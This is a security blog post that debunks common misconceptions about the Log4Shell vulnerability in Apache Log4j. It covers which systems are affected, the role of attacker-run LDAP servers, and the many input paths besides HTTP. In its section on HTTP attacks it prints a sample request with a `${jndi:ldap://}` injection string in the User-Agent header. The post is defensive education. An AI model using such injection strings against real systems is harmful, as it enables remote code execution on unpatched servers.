Log4J / Log4Shell (Part 1): Misconceptions

log4j log4shell mythbuster java vulnerability application security

log4j log4shell mythbuster java vulnerability application security
log4j log4shell myth-buster

Over the last few days, there’s been a lot of talk about the Apache Log4J RCE also known as log4shell application security vulnerability. This is a good thing since everybody even remotely affected by this situation should have a basic understanding of what it is about. However, it is inevitable that certain misconceptions are born when lots of people with different levels of technical understanding get exposed to this information.

In this post, we’ll try to clarify some of the misunderstandings that we’ve seen so far.

Log4Shell requires Apache Web Server

This one clearly comes from the full name of the affected library (Apache Log4j) and the name of perhaps the most iconic project within the Apache Foundation: Apache HTTP Server. Both are projects within the Apache Software Foundation, but that’s as far as the relationship goes.

The reality is that Log4Shell application security vulnerability has nothing to do with the Apache web server and, most importantly, it doesn’t require the presence of this server – or any other in particular – to be exploitable. In fact, the Apache webserver is written in C, while Log4j is a Java library.

A more generic version of this misconception is that this application security vulnerability lives within your web server. The fact that most proofs and real-live attacks start with an HTTP request seems to support this idea. However, it would be dangerous to think this way. Log4j is a generic logging library used throughout the Java/JVM ecosystem. The only requirement for this vulnerability to be exploited is for the attacker to be able to send a specially-crafted string of text to your platform (through any mechanism available) and for that string to be written to a log file – using log4j – by any component of your platform.

It’s important to keep in mind that we often run “secondary” or supporting programs and tools: think Docker sidecars, Kubernetes DaemonSets, and many other tools that you might use within your platform. These could be writing logs themselves and hence contain the log4shell application security vulnerability.

If you don’t use Java you are not affected

Obviously, Log4j means “log for Java”, so it only affects Java code, right? Unfortunately, it’s not that simple.

The Java ecosystem is huge and mostly hinges around the Java Virtual Machine (JVM). Any language that can be compiled to JVM “bytecode” can potentially use any library written in, or for, Java-like Log4j. And there are lots of such languages: Kotlin, Scala, Groovy, Clojure, etc. (the list is quite long; please see the list in Wikipedia).

At AppSec Phoenix we use variation extensively, so we are using the Java/JVM platform and could be susceptible to this vulnerability. However, we don’t use Log4j in our Kotlin applications, so we have not been affected by Log4Shell. But we are some of the lucky few with an updated asset register and a deep knowledge of our codebase. Many organizations have an ocean of assets in a spreadsheet last updated in 1998.

Just need to check your code for Jog4j

The most obvious first step when protecting yourself from this vulnerability is to check your code (any JVM-based language, not just Java) to ensure that you are not using any Log4j classes.

From here it naturally follows that you check your whole dependency chain for Log4j usage. There are a few tools and scanners that will help you with this task.

But we shouldn’t forget what we said in our first point: Log4j could be running in a secondary 3rd-party tool or service that you might have even forgotten that is there. Parsers, emailers, filters,… there could be lots of these tools running alongside your main services. Those are potentially vulnerable as well. Remember that any component that uses Log4j and writes logs with data that has come from the outside world is a vulnerable component.

We are aware of these not-so-obvious components at AppSec Phoenix. Even though we use Rust for most of our secondary/supporting services, we have systematically checked all our containers for any tools that could be subject to this application security vulnerability.

Alternatively, look at this mindmap

log4j Log4shell appsecphoenix mindmap

Log4Shell requires JNDI/LDAP in my organisation

Actually, this is the other way around. The full impact of Log4Shell requires access to an LDAP server, but this server is part of the attacker’s infrastructure. The attack doesn’t target your LDAP services, it uses the attacker’s services – accessed by Log4j when trying to interpolate the specially crafted payload – to download and run their code (RCE).

However, keep in mind that there are “milder” variations of the attack that don’t involve RCE but can still leak critical information about your systems.

Attacks only come through HTTP requests

Granted, one of the most popular examples of Log4Shell exploit – and perhaps the most common in the wild – is an HTTP request similar to this:

GET / HTTP/1.1
User-Agent: ${jndi:ldap://}

An HTTP request with a header containing the special string that would trigger the vulnerability – making Log4j go out to the attacker’s LDAP server and fetch the attacker’s code. This attack works because it’s very common for an HTTP request to get logged at one, or several, points during its processing by different components of a system. That means that the “${…}” string is very likely to get logged and hence processed by Log4j, triggering the attack of this application security vulnerability.

But this is not the only way that the attack can take place. Remember, any situation in which a string coming from the outside world gets written to a log by Log4j is a potential attack vector. Whether it is data entered in a form, parameters to a command line tool, even contents of an email; anything that can get logged can trigger the attack.

Unfortunately, since we are basically logging everything nowadays, this means that almost any input can be used as an attack vector to trigger this application security vulnerability.

We hope that this has helped a bit in clarifying what Log4Shell is and isn’t, and hence in how to protect your organisation against it.

AppSec Phoenix Log4Shell posts:


Initial analysis

Other references:

A detailed description of the mechanism:

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Contextual vulnerability management is a comprehensive approach to identifying, analyzing, and mitigating vulnerabilities in software and cloud infrastructure. It involves considering the specific context and environment in which vulnerabilities exist, including the software and hardware components, the network infrastructure, and the organizational policies and processes in place. By adopting this approach, organizations can more effectively assess and mitigate the risks posed by vulnerabilities, helping to protect their assets and maintain the security of their systems and networks.
Francesco Cipollone
Cyber security risk is challenging to calculate. Real-Time context, Cyber threat intelligence, Ownership Vulnerabilities, all part of the same continuum ->
Alfonso Eusebio
In today’s digital world, cyber threats are a real and growing concern for organizations of all sizes. As the threat landscape continues to evolve. we explore in this blog how to threat treats, which one to use in your prioritization strategy
Sally Turner

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

x Logo: ShieldPRO
This Site Is Protected By